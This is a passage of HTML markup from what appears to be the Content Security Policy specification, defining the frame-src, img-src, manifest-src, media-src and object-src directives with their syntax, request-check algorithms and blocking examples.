<code>font-src</code> Post-request check </span><a class=\"self-link\" href=\"#font-src-post-request\"></a></h5>\n    <p>This directive’s <a data-link-type=\"dfn\" href=\"#directive-post-request-check\" id=\"ref-for-directive-post-request-check⑦\">post-request check</a> is as follows:</p>\n    <p>Given a <a data-link-type=\"dfn\" href=\"https://fetch.spec.whatwg.org/#concept-request\" id=\"ref-for-concept-request②⑥\">request</a> (<var>request</var>), a <a data-link-type=\"dfn\" href=\"https://fetch.spec.whatwg.org/#concept-response\" id=\"ref-for-concept-response②⓪\">response</a> (<var>response</var>), and a <a data-link-type=\"dfn\" href=\"#content-security-policy-object\" id=\"ref-for-content-security-policy-object③④\">policy</a> (<var>policy</var>):</p>\n    <ol>\n     <li data-md=\"\">\n      <p class=\"assertion\">Assert: <var>policy</var> is unused.</p>\n     <li data-md=\"\">\n      <p>If <var>request</var>’s <a data-link-type=\"dfn\" href=\"https://fetch.spec.whatwg.org/#concept-request-destination\" id=\"ref-for-concept-request-destination⑥\">destination</a> is \"<code>font</code>\":</p>\n      <ol>\n       <li data-md=\"\">\n        <p>If the result of executing <a href=\"#match-response-to-source-list\">§6.6.1.4 Does response to request match source list?</a> on <var>response</var>, <var>request</var>, and this directive’s <a data-link-type=\"dfn\" href=\"#directive-value\" id=\"ref-for-directive-value①⑥\">value</a> is \"<code>Does Not Match</code>\", return\n  \"<code>Blocked</code>\".</p>\n      </ol>\n     <li data-md=\"\">\n      <p>Return \"<code>Allowed</code>\".</p>\n    </ol>\n    <h4 class=\"heading settled\" data-level=\"6.1.5\" id=\"directive-frame-src\"><span class=\"secno\">6.1.5. </span><span class=\"content\"><code>frame-src</code></span><a class=\"self-link\" href=\"#directive-frame-src\"></a></h4>\n    <p>The <dfn class=\"dfn-paneled\" data-dfn-type=\"dfn\" data-export=\"\" id=\"frame-src\">frame-src</dfn> directive restricts the URLs which may be loaded into <a data-link-type=\"dfn\" href=\"https://html.spec.whatwg.org/multipage/browsers.html#nested-browsing-context\" id=\"ref-for-nested-browsing-context②\">nested browsing contexts</a>. The syntax for the directive’s name and value\n  is described by the following ABNF:</p>\n<pre>directive-name  = \"frame-src\"\ndirective-value = <a data-link-type=\"grammar\" href=\"#grammardef-serialized-source-list\" id=\"ref-for-grammardef-serialized-source-list④\">serialized-source-list</a>\n</pre>\n    <div class=\"example\" id=\"example-367911bc\">\n     <a class=\"self-link\" href=\"#example-367911bc\"></a> Given a page with the following Content Security Policy: \n<pre>Content-Security-Policy: <a data-link-type=\"dfn\" href=\"#frame-src\" id=\"ref-for-frame-src③\">frame-src</a> https://example.com/\n</pre>\n     <p>Fetches for the following code will return a network errors, as the URL\n    provided do not match <code>frame-src</code>'s <a data-link-type=\"dfn\" href=\"#source-lists\" id=\"ref-for-source-lists④\">source list</a>:</p>\n<pre class=\"highlight\"><span class=\"nt\">&lt;iframe</span> <span class=\"na\">src=</span><span class=\"s\">\"https://example.org/\"</span><span class=\"nt\">></span>\n<span class=\"nt\">&lt;/iframe></span>\n</pre>\n    </div>\n    <h5 class=\"heading settled algorithm\" data-algorithm=\"frame-src Pre-request check\" data-level=\"6.1.5.1\" id=\"frame-src-pre-request\"><span class=\"secno\">6.1.5.1. </span><span class=\"content\"> <code>frame-src</code> Pre-request check </span><a class=\"self-link\" href=\"#frame-src-pre-request\"></a></h5>\n    <p>This directive’s <a data-link-type=\"dfn\" href=\"#directive-pre-request-check\" id=\"ref-for-directive-pre-request-check⑦\">pre-request check</a> is as follows:</p>\n    <p>Given a <a data-link-type=\"dfn\" href=\"https://fetch.spec.whatwg.org/#concept-request\" id=\"ref-for-concept-request②⑦\">request</a> (<var>request</var>) and a <a data-link-type=\"dfn\" href=\"#content-security-policy-object\" id=\"ref-for-content-security-policy-object③⑤\">policy</a> (<var>policy</var>):</p>\n    <ol>\n     <li data-md=\"\">\n      <p class=\"assertion\">Assert: <var>policy</var> is unused.</p>\n     <li data-md=\"\">\n      <p>If <var>request</var>’s <a data-link-type=\"dfn\" href=\"https://fetch.spec.whatwg.org/#concept-request-destination\" id=\"ref-for-concept-request-destination⑦\">destination</a> is \"<code>document</code>\" and <a data-link-type=\"dfn\" href=\"https://fetch.spec.whatwg.org/#concept-request-target-browsing-context\" id=\"ref-for-concept-request-target-browsing-context①\">target browsing context</a> is a <a data-link-type=\"dfn\" href=\"https://html.spec.whatwg.org/multipage/browsers.html#nested-browsing-context\" id=\"ref-for-nested-browsing-context③\">nested browsing\n  context</a>:</p>\n      <ol>\n       <li data-md=\"\">\n        <p>If the result of executing <a href=\"#match-request-to-source-list\">§6.6.1.3 Does request match source list?</a> on <var>request</var> and this directive’s <a data-link-type=\"dfn\" href=\"#directive-value\" id=\"ref-for-directive-value①⑦\">value</a> is\n  \"<code>Does Not Match</code>\", return \"<code>Blocked</code>\".</p>\n      </ol>\n     <li data-md=\"\">\n      <p>Return \"<code>Allowed</code>\".</p>\n    </ol>\n    <h5 class=\"heading settled algorithm\" data-algorithm=\"frame-src Post-request check\" data-level=\"6.1.5.2\" id=\"frame-src-post-request\"><span class=\"secno\">6.1.5.2. </span><span class=\"content\"> <code>frame-src</code> Post-request check </span><a class=\"self-link\" href=\"#frame-src-post-request\"></a></h5>\n    <p>This directive’s <a data-link-type=\"dfn\" href=\"#directive-post-request-check\" id=\"ref-for-directive-post-request-check⑧\">post-request check</a> is as follows:</p>\n    <p>Given a <a data-link-type=\"dfn\" href=\"https://fetch.spec.whatwg.org/#concept-request\" id=\"ref-for-concept-request②⑧\">request</a> (<var>request</var>), a <a data-link-type=\"dfn\" href=\"https://fetch.spec.whatwg.org/#concept-response\" id=\"ref-for-concept-response②①\">response</a> (<var>response</var>), and a <a data-link-type=\"dfn\" href=\"#content-security-policy-object\" id=\"ref-for-content-security-policy-object③⑥\">policy</a> (<var>policy</var>):</p>\n    <ol>\n     <li data-md=\"\">\n      <p class=\"assertion\">Assert: <var>policy</var> is unused.</p>\n     <li data-md=\"\">\n      <p>If <var>request</var>’s <a data-link-type=\"dfn\" href=\"https://fetch.spec.whatwg.org/#concept-request-destination\" id=\"ref-for-concept-request-destination⑧\">destination</a> is \"<code>document</code>\" and <a data-link-type=\"dfn\" href=\"https://fetch.spec.whatwg.org/#concept-request-target-browsing-context\" id=\"ref-for-concept-request-target-browsing-context②\">target browsing context</a> is a <a data-link-type=\"dfn\" href=\"https://html.spec.whatwg.org/multipage/browsers.html#nested-browsing-context\" id=\"ref-for-nested-browsing-context④\">nested browsing\n  context</a>:</p>\n      <ol>\n       <li data-md=\"\">\n        <p>If the result of executing <a href=\"#match-response-to-source-list\">§6.6.1.4 Does response to request match source list?</a> on <var>response</var>, <var>request</var>, and this directive’s <a data-link-type=\"dfn\" href=\"#directive-value\" id=\"ref-for-directive-value①⑧\">value</a> is \"<code>Does Not Match</code>\", return\n  \"<code>Blocked</code>\".</p>\n      </ol>\n     <li data-md=\"\">\n      <p>Return \"<code>Allowed</code>\".</p>\n    </ol>\n    <h4 class=\"heading settled\" data-level=\"6.1.6\" id=\"directive-img-src\"><span class=\"secno\">6.1.6. </span><span class=\"content\"><code>img-src</code></span><a class=\"self-link\" href=\"#directive-img-src\"></a></h4>\n    <p>The <dfn class=\"dfn-paneled\" data-dfn-type=\"dfn\" data-export=\"\" id=\"img-src\">img-src</dfn> directive restricts the URLs from which image resources\n  may be loaded. The syntax for the directive’s name and value is described by\n  the following ABNF:</p>\n<pre>directive-name  = \"img-src\"\ndirective-value = <a data-link-type=\"grammar\" href=\"#grammardef-serialized-source-list\" id=\"ref-for-grammardef-serialized-source-list⑤\">serialized-source-list</a>\n</pre>\n    <p>This directive controls <a data-link-type=\"dfn\" href=\"https://fetch.spec.whatwg.org/#concept-request\" id=\"ref-for-concept-request②⑨\">requests</a> which load images. More formally, this\n  includes <a data-link-type=\"dfn\" href=\"https://fetch.spec.whatwg.org/#concept-request\" id=\"ref-for-concept-request③⓪\">requests</a> whose <a data-link-type=\"dfn\" href=\"https://fetch.spec.whatwg.org/#concept-request-destination\" id=\"ref-for-concept-request-destination⑨\">destination</a> is \"<code>image</code>\" <a data-link-type=\"biblio\" href=\"#biblio-fetch\">[FETCH]</a>.</p>\n    <div class=\"example\" id=\"example-d81d31f9\">\n     <a class=\"self-link\" href=\"#example-d81d31f9\"></a> Given a page with the following Content Security Policy: \n<pre>Content-Security-Policy: <a data-link-type=\"dfn\" href=\"#img-src\" id=\"ref-for-img-src②\">img-src</a> https://example.com/\n</pre>\n     <p>Fetches for the following code will return a network errors, as the URL\n    provided do not match <code>img-src</code>'s <a data-link-type=\"dfn\" href=\"#source-lists\" id=\"ref-for-source-lists⑤\">source list</a>:</p>\n<pre class=\"highlight\"><span class=\"nt\">&lt;img</span> <span class=\"na\">src=</span><span class=\"s\">\"https://example.org/img\"</span><span class=\"nt\">></span>\n</pre>\n    </div>\n    <h5 class=\"heading settled algorithm\" data-algorithm=\"img-src Pre-request check\" data-level=\"6.1.6.1\" id=\"img-src-pre-request\"><span class=\"secno\">6.1.6.1. </span><span class=\"content\"> <code>img-src</code> Pre-request check </span><a class=\"self-link\" href=\"#img-src-pre-request\"></a></h5>\n    <p>This directive’s <a data-link-type=\"dfn\" href=\"#directive-pre-request-check\" id=\"ref-for-directive-pre-request-check⑧\">pre-request check</a> is as follows:</p>\n    <p>Given a <a data-link-type=\"dfn\" href=\"https://fetch.spec.whatwg.org/#concept-request\" id=\"ref-for-concept-request③①\">request</a> (<var>request</var>) and a <a data-link-type=\"dfn\" href=\"#content-security-policy-object\" id=\"ref-for-content-security-policy-object③⑦\">policy</a> (<var>policy</var>):</p>\n    <ol>\n     <li data-md=\"\">\n      <p class=\"assertion\">Assert: <var>policy</var> is unused.</p>\n     <li data-md=\"\">\n      <p>If <var>request</var>’s <a data-link-type=\"dfn\" href=\"https://fetch.spec.whatwg.org/#concept-request-destination\" id=\"ref-for-concept-request-destination①⓪\">destination</a> is \"<code>image</code>\":</p>\n      <ol>\n       <li data-md=\"\">\n        <p>If the result of executing <a href=\"#match-request-to-source-list\">§6.6.1.3 Does request match source list?</a> on <var>request</var> and this directive’s <a data-link-type=\"dfn\" href=\"#directive-value\" id=\"ref-for-directive-value①⑨\">value</a> is\n  \"<code>Does Not Match</code>\", return \"<code>Blocked</code>\".</p>\n      </ol>\n     <li data-md=\"\">\n      <p>Return \"<code>Allowed</code>\".</p>\n    </ol>\n    <h5 class=\"heading settled algorithm\" data-algorithm=\"img-src Post-request check\" data-level=\"6.1.6.2\" id=\"img-src-post-request\"><span class=\"secno\">6.1.6.2. </span><span class=\"content\"> <code>img-src</code> Post-request check </span><a class=\"self-link\" href=\"#img-src-post-request\"></a></h5>\n    <p>This directive’s <a data-link-type=\"dfn\" href=\"#directive-post-request-check\" id=\"ref-for-directive-post-request-check⑨\">post-request check</a> is as follows:</p>\n    <p>Given a <a data-link-type=\"dfn\" href=\"https://fetch.spec.whatwg.org/#concept-request\" id=\"ref-for-concept-request③②\">request</a> (<var>request</var>), a <a data-link-type=\"dfn\" href=\"https://fetch.spec.whatwg.org/#concept-response\" id=\"ref-for-concept-response②②\">response</a> (<var>response</var>), and a <a data-link-type=\"dfn\" href=\"#content-security-policy-object\" id=\"ref-for-content-security-policy-object③⑧\">policy</a> (<var>policy</var>):</p>\n    <ol>\n     <li data-md=\"\">\n      <p class=\"assertion\">Assert: <var>policy</var> is unused.</p>\n     <li data-md=\"\">\n      <p>If <var>request</var>’s <a data-link-type=\"dfn\" href=\"https://fetch.spec.whatwg.org/#concept-request-destination\" id=\"ref-for-concept-request-destination①①\">destination</a> is \"<code>image</code>\":</p>\n      <ol>\n       <li data-md=\"\">\n        <p>If the result of executing <a href=\"#match-response-to-source-list\">§6.6.1.4 Does response to request match source list?</a> on <var>response</var>, <var>request</var>, and this directive’s <a data-link-type=\"dfn\" href=\"#directive-value\" id=\"ref-for-directive-value②⓪\">value</a> is \"<code>Does Not Match</code>\", return\n  \"<code>Blocked</code>\".</p>\n      </ol>\n     <li data-md=\"\">\n      <p>Return \"<code>Allowed</code>\".</p>\n    </ol>\n    <h4 class=\"heading settled\" data-level=\"6.1.7\" id=\"directive-manifest-src\"><span class=\"secno\">6.1.7. </span><span class=\"content\"><code>manifest-src</code></span><a class=\"self-link\" href=\"#directive-manifest-src\"></a></h4>\n    <p>The <dfn class=\"dfn-paneled\" data-dfn-type=\"dfn\" data-export=\"\" id=\"manifest-src\">manifest-src</dfn> directive restricts the URLs from which application\n  manifests may be loaded <a data-link-type=\"biblio\" href=\"#biblio-appmanifest\">[APPMANIFEST]</a>. The syntax for the directive’s name\n  and value is described by the following ABNF:</p>\n<pre>directive-name  = \"manifest-src\"\ndirective-value = <a data-link-type=\"grammar\" href=\"#grammardef-serialized-source-list\" id=\"ref-for-grammardef-serialized-source-list⑥\">serialized-source-list</a>\n</pre>\n    <div class=\"example\" id=\"example-c0df126a\">\n     <a class=\"self-link\" href=\"#example-c0df126a\"></a> Given a page with the following Content Security Policy: \n<pre>Content-Security-Policy: <a data-link-type=\"dfn\" href=\"#manifest-src\" id=\"ref-for-manifest-src②\">manifest-src</a> https://example.com/\n</pre>\n     <p>Fetches for the following code will return a network errors, as the URL\n    provided do not match <code>manifest-src</code>'s <a data-link-type=\"dfn\" href=\"#source-lists\" id=\"ref-for-source-lists⑥\">source list</a>:</p>\n<pre class=\"highlight\"><span class=\"nt\">&lt;link</span> <span class=\"na\">rel=</span><span class=\"s\">\"manifest\"</span> <span class=\"na\">href=</span><span class=\"s\">\"https://example.org/manifest\"</span><span class=\"nt\">></span>\n</pre>\n    </div>\n    <h5 class=\"heading settled algorithm\" data-algorithm=\"manifest-src Pre-request check\" data-level=\"6.1.7.1\" id=\"manifest-src-pre-request\"><span class=\"secno\">6.1.7.1. </span><span class=\"content\"> <code>manifest-src</code> Pre-request check </span><a class=\"self-link\" href=\"#manifest-src-pre-request\"></a></h5>\n    <p>This directive’s <a data-link-type=\"dfn\" href=\"#directive-pre-request-check\" id=\"ref-for-directive-pre-request-check⑨\">pre-request check</a> is as follows:</p>\n    <p>Given a <a data-link-type=\"dfn\" href=\"https://fetch.spec.whatwg.org/#concept-request\" id=\"ref-for-concept-request③③\">request</a> (<var>request</var>) and a <a data-link-type=\"dfn\" href=\"#content-security-policy-object\" id=\"ref-for-content-security-policy-object③⑨\">policy</a> (<var>policy</var>):</p>\n    <ol>\n     <li data-md=\"\">\n      <p class=\"assertion\">Assert: <var>policy</var> is unused.</p>\n     <li data-md=\"\">\n      <p>If <var>request</var>’s <a data-link-type=\"dfn\" href=\"https://fetch.spec.whatwg.org/#concept-request-destination\" id=\"ref-for-concept-request-destination①②\">destination</a> is \"<code>manifest</code>\":</p>\n      <ol>\n       <li data-md=\"\">\n        <p>If the result of executing <a href=\"#match-request-to-source-list\">§6.6.1.3 Does request match source list?</a> on <var>request</var> and this directive’s <a data-link-type=\"dfn\" href=\"#directive-value\" id=\"ref-for-directive-value②①\">value</a> is\n  \"<code>Does Not Match</code>\", return \"<code>Blocked</code>\".</p>\n      </ol>\n     <li data-md=\"\">\n      <p>Return \"<code>Allowed</code>\".</p>\n    </ol>\n    <h5 class=\"heading settled algorithm\" data-algorithm=\"manifest-src Post-request check\" data-level=\"6.1.7.2\" id=\"manifest-src-post-request\"><span class=\"secno\">6.1.7.2. </span><span class=\"content\"> <code>manifest-src</code> Post-request check </span><a class=\"self-link\" href=\"#manifest-src-post-request\"></a></h5>\n    <p>This directive’s <a data-link-type=\"dfn\" href=\"#directive-post-request-check\" id=\"ref-for-directive-post-request-check①⓪\">post-request check</a> is as follows:</p>\n    <p>Given a <a data-link-type=\"dfn\" href=\"https://fetch.spec.whatwg.org/#concept-request\" id=\"ref-for-concept-request③④\">request</a> (<var>request</var>), a <a data-link-type=\"dfn\" href=\"https://fetch.spec.whatwg.org/#concept-response\" id=\"ref-for-concept-response②③\">response</a> (<var>response</var>), and a <a data-link-type=\"dfn\" href=\"#content-security-policy-object\" id=\"ref-for-content-security-policy-object④⓪\">policy</a> (<var>policy</var>):</p>\n    <ol>\n     <li data-md=\"\">\n      <p class=\"assertion\">Assert: <var>policy</var> is unused.</p>\n     <li data-md=\"\">\n      <p>If <var>request</var>’s <a data-link-type=\"dfn\" href=\"https://fetch.spec.whatwg.org/#concept-request-destination\" id=\"ref-for-concept-request-destination①③\">destination</a> is \"<code>manifest</code>\":</p>\n      <ol>\n       <li data-md=\"\">\n        <p>If the result of executing <a href=\"#match-response-to-source-list\">§6.6.1.4 Does response to request match source list?</a> on <var>response</var>, <var>request</var>, and this directive’s <a data-link-type=\"dfn\" href=\"#directive-value\" id=\"ref-for-directive-value②②\">value</a> is \"<code>Does Not Match</code>\", return\n  \"<code>Blocked</code>\".</p>\n      </ol>\n     <li data-md=\"\">\n      <p>Return \"<code>Allowed</code>\".</p>\n    </ol>\n    <h4 class=\"heading settled\" data-level=\"6.1.8\" id=\"directive-media-src\"><span class=\"secno\">6.1.8. </span><span class=\"content\"><code>media-src</code></span><a class=\"self-link\" href=\"#directive-media-src\"></a></h4>\n    <p>The <dfn class=\"dfn-paneled\" data-dfn-type=\"dfn\" data-export=\"\" id=\"media-src\">media-src</dfn> directive restricts the URLs from which video, audio,\n  and associated text track resources may be loaded. The syntax for the\n  directive’s name and value is described by the following ABNF:</p>\n<pre>directive-name  = \"media-src\"\ndirective-value = <a data-link-type=\"grammar\" href=\"#grammardef-serialized-source-list\" id=\"ref-for-grammardef-serialized-source-list⑦\">serialized-source-list</a>\n</pre>\n    <div class=\"example\" id=\"example-0bdf4506\">\n     <a class=\"self-link\" href=\"#example-0bdf4506\"></a> Given a page with the following Content Security Policy: \n<pre>Content-Security-Policy: <a data-link-type=\"dfn\" href=\"#media-src\" id=\"ref-for-media-src②\">media-src</a> https://example.com/\n</pre>\n     <p>Fetches for the following code will return a network errors, as the URL\n    provided do not match <code>media-src</code>'s <a data-link-type=\"dfn\" href=\"#source-lists\" id=\"ref-for-source-lists⑦\">source list</a>:</p>\n<pre class=\"highlight\"><span class=\"nt\">&lt;audio</span> <span class=\"na\">src=</span><span class=\"s\">\"https://example.org/audio\"</span><span class=\"nt\">>&lt;/audio></span>\n<span class=\"nt\">&lt;video</span> <span class=\"na\">src=</span><span class=\"s\">\"https://example.org/video\"</span><span class=\"nt\">></span>\n    <span class=\"nt\">&lt;track</span> <span class=\"na\">kind=</span><span class=\"s\">\"subtitles\"</span> <span class=\"na\">src=</span><span class=\"s\">\"https://example.org/subtitles\"</span><span class=\"nt\">></span>\n<span class=\"nt\">&lt;/video></span>\n</pre>\n    </div>\n    <h5 class=\"heading settled algorithm\" data-algorithm=\"media-src Pre-request check\" data-level=\"6.1.8.1\" id=\"media-src-pre-request\"><span class=\"secno\">6.1.8.1. </span><span class=\"content\"> <code>media-src</code> Pre-request check </span><a class=\"self-link\" href=\"#media-src-pre-request\"></a></h5>\n    <p>This directive’s <a data-link-type=\"dfn\" href=\"#directive-pre-request-check\" id=\"ref-for-directive-pre-request-check①⓪\">pre-request check</a> is as follows:</p>\n    <p>Given a <a data-link-type=\"dfn\" href=\"https://fetch.spec.whatwg.org/#concept-request\" id=\"ref-for-concept-request③⑤\">request</a> (<var>request</var>) and a <a data-link-type=\"dfn\" href=\"#content-security-policy-object\" id=\"ref-for-content-security-policy-object④①\">policy</a> (<var>policy</var>):</p>\n    <ol>\n     <li data-md=\"\">\n      <p class=\"assertion\">Assert: <var>policy</var> is unused.</p>\n     <li data-md=\"\">\n      <p>If <var>request</var>’s <a data-link-type=\"dfn\" href=\"https://fetch.spec.whatwg.org/#concept-request-destination\" id=\"ref-for-concept-request-destination①④\">destination</a> is one of \"<code>audio</code>\", \"<code>video</code>\",\n  or \"<code>track</code>\":</p>\n      <ol>\n       <li data-md=\"\">\n        <p>If the result of executing <a href=\"#match-request-to-source-list\">§6.6.1.3 Does request match source list?</a> on <var>request</var> and this directive’s <a data-link-type=\"dfn\" href=\"#directive-value\" id=\"ref-for-directive-value②③\">value</a> is\n  \"<code>Does Not Match</code>\", return \"<code>Blocked</code>\".</p>\n      </ol>\n     <li data-md=\"\">\n      <p>Return \"<code>Allowed</code>\".</p>\n    </ol>\n    <h5 class=\"heading settled algorithm\" data-algorithm=\"media-src Post-request check\" data-level=\"6.1.8.2\" id=\"media-src-post-request\"><span class=\"secno\">6.1.8.2. </span><span class=\"content\"> <code>media-src</code> Post-request check </span><a class=\"self-link\" href=\"#media-src-post-request\"></a></h5>\n    <p>This directive’s <a data-link-type=\"dfn\" href=\"#directive-post-request-check\" id=\"ref-for-directive-post-request-check①①\">post-request check</a> is as follows:</p>\n    <p>Given a <a data-link-type=\"dfn\" href=\"https://fetch.spec.whatwg.org/#concept-request\" id=\"ref-for-concept-request③⑥\">request</a> (<var>request</var>), a <a data-link-type=\"dfn\" href=\"https://fetch.spec.whatwg.org/#concept-response\" id=\"ref-for-concept-response②④\">response</a> (<var>response</var>), and a <a data-link-type=\"dfn\" href=\"#content-security-policy-object\" id=\"ref-for-content-security-policy-object④②\">policy</a> (<var>policy</var>):</p>\n    <ol>\n     <li data-md=\"\">\n      <p class=\"assertion\">Assert: <var>policy</var> is unused.</p>\n     <li data-md=\"\">\n      <p>If <var>request</var>’s <a data-link-type=\"dfn\" href=\"https://fetch.spec.whatwg.org/#concept-request-destination\" id=\"ref-for-concept-request-destination①⑤\">destination</a> is one of \"<code>audio</code>\", \"<code>video</code>\",\n  or \"<code>track</code>\":</p>\n      <ol>\n       <li data-md=\"\">\n        <p>If the result of executing <a href=\"#match-response-to-source-list\">§6.6.1.4 Does response to request match source list?</a> on <var>response</var>, <var>request</var>, and this directive’s <a data-link-type=\"dfn\" href=\"#directive-value\" id=\"ref-for-directive-value②④\">value</a> is \"<code>Does Not Match</code>\", return\n  \"<code>Blocked</code>\".</p>\n      </ol>\n     <li data-md=\"\">\n      <p>Return \"<code>Allowed</code>\".</p>\n    </ol>\n    <h4 class=\"heading settled\" data-level=\"6.1.9\" id=\"directive-object-src\"><span class=\"secno\">6.1.9. </span><span class=\"content\"><code>object-src</code></span><a class=\"self-link\" href=\"#directive-object-src\"></a></h4>\n    <p>The <dfn class=\"dfn-paneled\" data-dfn-type=\"dfn\" data-export=\"\" id=\"object-src\">object-src</dfn> directive restricts the URLs from which plugin\n  content may be loaded. The syntax for the directive’s name and value is\n  described by the following ABNF:</p>\n<pre>directive-name  = \"object-src\"\ndirective-value = <a data-link-type=\"grammar\" href=\"#grammardef-serialized-source-list\" id=\"ref-for-grammardef-serialized-source-list⑧\">serialized-source-list</a>\n</pre>\n    <div class=\"example\" id=\"example-942e3a4c\">\n     <a class=\"self-link\" href=\"#example-942e3a4c\"></a> Given a page with the following Content Security Policy: \n<pre>Content-Security-Policy: <a data-link-type=\"dfn\" href=\"#object-src\" id=\"ref-for-object-src③\">object-src</a> https://example.com/\n</pre>\n     <p>Fetches for the following code will return a network errors, as the URL\n    provided do not match <code>object-src</code>'s <a data-link-type=\"dfn\" href=\"#source-lists\" id=\"ref-for-source-lists⑧\">source list</a>:</p>\n<pre class=\"highlight\"><span class=\"nt\">&lt;embed</span> <span class=\"na\">src=</span><span class=\"s\">\"https://example.org/flash\"</span><span class=\"nt\">>&lt;/embed></span>\n<span class=\"nt\">&lt;object</span> <span class=\"na\">data=</span><span class=\"s\">\"https://example.org/flash\"</span><span class=\"nt\">>&lt;/object></span>\n<span class=\"nt\">&lt;applet</span> <span class=\"na\">archive=</span><span class=\"s\">\"https://example.org/flash\"</span><span class=\"nt\">>&lt;/applet></span>\n</pre>\n    </div>\n    <p>If plugin content is loaded without an associated URL (perhaps an <code><a data-link-type=\"element\" href=\"https://html.spec.whatwg.org/multipage/iframe-embed-object.html#the-object-element\" id=\"ref-for-the-object-element①\">object</a></code> element lacks a <code><a data-link-type=\"element-sub\" href=\"https://html.spec.whatwg.org/multipage/iframe-embed-object.html#attr-object-data\" id=\"ref-for-attr-object-data\">data</a></code> attribute, but loads some default plugin based\n  on the specified <code>type</code>), it MUST be blocked if <code>object-src</code>'s value is <code>'none'</code>, but will otherwise be allowed.</p>\n    <p class=\"note\" role=\"note\"><span>Note:</span> The <code>object-src</code> directive acts upon any request made on behalf of\n  an <code><a data-link-type=\"element\" href=\"https://html.spec.whatwg.org/multipage/iframe-embed-object.html#the-object-element\" id=\"ref-for-the-object-element②\">object</a></code>, <code><a data-link-type=\"element\" href=\"https://html.spec.whatwg.org/multipage/iframe-embed-object.html#the-embed-element\" id=\"ref-for-the-embed-element①\">embed</a></code>, or <a data-link-type=\"dfn\" href=\"https://html.spec.whatwg.org/multipage/obsolete.html#applet\" id=\"ref-for-applet①\"><code>applet</code></a> element. This includes requests\n  which would populate the <a data-link-type=\"dfn\" href=\"https://html.spec.whatwg.org/multipage/browsers.html#nested-browsing-context\" id=\"ref-for-nested-browsing-context⑤\">nested browsing context</a> generated by the\n  former two (also including navigations). This is true even when the data is\n  semantically equivalent to content which would otherwise be restricted by\n  another directive, such as an <code><a data-link-type=\"element\" href=\"https://html.spec.whatwg.org/multipage/iframe-embed-object.html#the-object-element\" id=\"ref-for-the-object-element③\">object</a></code> element with a <code>text/html</code> MIME\n  type.</p>\n    <p class=\"note\" role=\"note\"><span>Note:</span> When a plugin resource is navigated to directly (that is, as a <a data-link-type=\"dfn\" href=\"https://html.spec.whatwg.org/multipage/browsing-the-web.html#plugin-document\" id=\"ref-for-plugin-document\">plugin document</a> in the <a data-link-type=\"dfn\" href=\"https://html.spec.whatwg.org/multipage/browsers.html#top-level-browsing-context\" id=\"ref-for-top-level-browsing-context\">top-level browsing context</a> or a <a data-link-type=\"dfn\" href=\"https://html.spec.whatwg.org/multipage/browsers.html#nested-browsing-context\" id=\"ref-for-nested-browsing-context⑥\">nested browsing context</a>, and not as an embedded\n  subresource via <code><a data-link-type=\"element\" href=\"https://html.spec.whatwg.org/multipage/iframe-embed-object.html#the-embed-element\" id=\"ref-for-the-embed-element②\">embed</a></code>, <code><a data-link-type=\"element\" href=\"https://html.spec.whatwg.org/multipage/iframe-embed-object.html#the-object-element\" id=\"ref-for-the-object-element④\">object</a></code>, or <a data-link-type=\"dfn\" href=\"https://html.spec.whatwg.org/multipage/obsolete.html#applet\" id=\"ref-for-applet②\"><code>applet</code></a>), any <a data-link-type=\"dfn\" href=\"#content-security-policy-object\" id=\"ref-for-content-security-policy-object④③\">policy</a> delivered along\n  with that resource will be applied to the <a data-link-type=\"dfn\" href=\"https://html.spec.whatwg.org/multipage/browsing-the-web.html#plugin-document\" id=\"ref-for-plugin-document①\">plugin document</a>. This means, for instance, that\n  developers can prevent the execution of arbitrary resources as plugin content by delivering the\n  policy <code>object-src 'none'</code> along with a response. Given plugins' power (and the\n  sometimes-interesting security model presented by Flash and others), this could mitigate the risk\n  of attack vectors like <a href=\"https://miki.it/blog/2014/7/8/abusing-jsonp-with-rosetta-flash/\">Rosetta Flash</a>.</p>\n    <h5 class=\"heading settled algorithm\" data-algorithm=\"object-src Pre-request check\" data-level=\"6.1.9.1\" id=\"object-src-pre-request\"><span class=\"secno\">6.1.9.1. </span><span class=\"content\"> <code>object-src</code> Pre-request check </span><a class=\"self-link\" href=\"#object-src-pre-request\"></a></h5>\n    <p>This directive’s <a data-link-type=\"dfn\" href=\"#directive-pre-request-check\" id=\"ref-for-directive-pre-request-check①①\">pre-request check</a> is as follows:</p>\n    <p>Given a <a data-link-type=\"dfn\" href=\"https://fetch.spec.whatwg.org/#concept-request\" id=\"ref-for-concept-request③⑦\">request</a> (<var>request</var>) and a <a data-link-type=\"dfn\" href=\"#content-security-policy-object\" id=\"ref-for-content-security-policy-object④④\">policy</a> (<var>policy</var>):</p>\n    <ol>\n     <li data-md=\"\">\n      <p class=\"assertion\">Assert: <var>policy</var> is unused.</p>\n     <li data-md=\"\">\n      <p>If <var>request</var>’s <a data-link-type=\"dfn\" href=\"https://fetch.spec.whatwg.org/#concept-request-destination\" id=\"ref-for-concept-request-destination①⑥\">destination</a> is \"<code>object</code>\" or \"<code>embed</code>\":</p>\n      <ol>\n       <li data-md=\"\">\n        <p>If the result of executing <a href=\"#match-request-to-source-list\">§6.6.1.3 Does request match source list?</a> on <var>request</var> and this directive’s <a data-link-type=\"dfn\" href=\"#directive-value\" id=\"ref-for-directive-value②⑤\">value</a> is\n  \"<code>Does Not Match</code>\", return \"<code>Blocked</code>\".</p>\n      </ol>\n     <li data-md=\"\">\n      <p>Return \"<code>Allowed</code>\".</p>\n    </ol>\n    <h5 class=\"heading settled algorithm\" data-algorithm=\"object-src Post-request check\" data-level=\"6.1.9.2\" id=\"object-src-post-request\"><span class=\"secno\">6.1.9.2. </span><span class=\"content\"> <code>object-src</code> Post-request check </span><a class=\"self-link\" href=\"#object-src-post-request\"></a></h5>\n    <p>This directive’s <a data-link-type=\"dfn\" href=\"#directive-post-request-check\" id=\"ref-for-directive-post-request-check①②\">post-request check</a> is as follows:</p>\n    <p>Given a <a data-link-type=\"dfn\" href=\"https://fetch.spec.whatwg.org/#concept-request\" id=\"ref-for-concept-request③⑧\">request</a> (<var>request</var>), a <a data-link-type=\"dfn\" href=\"https://fetch.spec.whatwg.org/#concept-response\" id=\"ref-for-concept-response②⑤\">response</a> (<var>response</var>), and a <a data-link-type=\"dfn\" href=\"#content-security-policy-object\" id=\"ref-for-content-security-policy-object④⑤\">policy</a> (<var>policy</var>):</p>\n    <ol>\n     <li data-md=\"\">\n      <p class=\"assertion\">Assert: <var>policy</var> is unused.</p>\n     <li data-md=\"\">\n      <p>If <var>request</var>’s <a data-link-type=\"dfn\" href=\"https://fetch.spec.whatwg.org/#concept-request-destination\" id=\"ref-for-concept-request-destination①⑦\">destination</a> is \"<code>object</code>\" or \"<code>embed</code>\":</p>\n      <ol>\n       <li data-md=\"\">\n        <p>If the result 